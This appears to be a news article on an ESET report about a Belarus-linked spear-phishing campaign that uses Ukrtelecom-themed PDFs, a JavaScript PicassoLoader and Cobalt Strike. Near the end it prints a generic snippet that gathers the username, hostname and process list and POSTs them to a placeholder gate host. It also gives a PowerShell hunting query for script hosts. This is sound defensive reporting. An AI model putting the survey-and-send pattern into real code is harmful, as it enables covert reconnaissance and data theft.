A Belarus-linked espionage group tracked as FrostyNeighbor is conducting a spear-phishing campaign that began in March against government organizations in Poland and Ukraine. The operation uses Ukrtelecom-themed PDFs, server-side victim checks and a JavaScript variant of PicassoLoader to screen targets before operators manually approve deployment of Cobalt Strike. According to ESET research published Thursday, the activity reflects continued evolution of the group's toolkit after a shift away from macro-based lures since January 2026.

Compromise chain overview

FrostyNeighbor, also tracked as Ghostwriter, UNC1151, TA445, PUSHCHA, and Storm-0257, is described as a Belarussian cyber-espionage actor operating on behalf of Belarus. ESET characterizes the current wave as focused on Ukrainian and Polish government organizations, part of broader targeting of Eastern European government and military organizations.

The reported infection sequence relies on spear-phishing PDFs, server-side validation of the visitor, and a JavaScript-based version of PicassoLoader, described as the group's main payload downloader, leading to Cobalt Strike for post-compromise operations.

ESET senior malware researcher Damien Schaeffer said the group moved away from documents using macros as the opening lure and now relies exclusively on out-of-focus PDFs that embed a link to the following stage. That lure masquerades as material from Ukrainian telecom provider Ukrtelecom, purports to address secure protection of customer data, and contains a download link served from attacker-controlled infrastructure.

The group is believed to have been active since at least 2016 and to combine espionage with spear-phishing, credential theft, malware deployment and disinformation linked to the wider Ghostwriter influence operation. That earlier effort started in 2021, was initially attributed to Russia, and directed phishing and false narratives at Germany, Poland, Ukraine, Estonia, Latvia and Lithuania. Researchers later found a larger phishing infrastructure than first understood, which is said to play a central role in the present operation.

Victim validation and fingerprinting

The current iteration applies screening to keep delivery narrow. A visitor outside the expected geography receives a harmless PDF. A visitor connecting from an IP address in Ukraine instead receives a RAR archive holding the initial stage.

That archive contains a JavaScript file that writes out and shows the PDF as a decoy while also launching the next stage, the JavaScript version of the PicassoLoader downloader.

Once executed, PicassoLoader surveys the host, gathering the username, computer name, OS version, boot time of the computer, current time, and list of running processes with their process IDs. ESET assesses that operators then review that survey data by hand to determine whether the victim warrants further action.

If the host is judged interesting, command-and-control answers with a third-stage JavaScript dropper for Cobalt Strike as the final payload. If not, it sends back an empty response.

Detection and mitigation

Schaeffer described the actor as still highly active and continuing to adjust tactics to avoid detection and gain access. Organizations that could fall in scope, notably in Poland, Lithuania and Ukraine, are urged to strengthen defenses against targeted phishing.

Recommended practices cited include close inspection of messages with attachments arriving from external or unknown senders, enforcement of least privilege, blocking execution of files obtained through downloads, and monitoring users and the environment for unusual network communications. ESET said its report provides a comprehensive list of indicators of compromise to aid hunting.

Technical background - general pattern only

This section is general educational context about this attack class and does not describe specifics of this incident.

Spear-phishing PDF-to-downloader chains commonly use a low-fidelity document to push the victim to a hosted first stage, then filter on the server side by IP geolocation, User-Agent, or single-use tokens before serving malware. JavaScript loaders are often used because they run with built-in Windows script hosts, can fetch follow-on stages, and can easily collect host survey data for manual triage before deploying a full post-exploitation framework.

Generic illustration of the pattern:

// Generic example only, not from this incident
const survey = {
  user: process.env.USERNAME,
  host: require('os').hostname(),
  procs: "enumerated via generic OS API"
};
fetch("https://example.invalid/gate", { method: "POST", body: JSON.stringify(survey) });

Generic defensive checks of the same class include logging script-host execution, blocking unexpected child processes from archive tools and viewers, and alerting on external JavaScript droppers:

# Generic hunting examples only, not incident-specific
Get-WinEvent -FilterHashtable @{ LogName='Microsoft-Windows-Sysmon/Operational'; Id=1 } | Where-Object { $_.Message -match 'wscript|cscript|mshta' }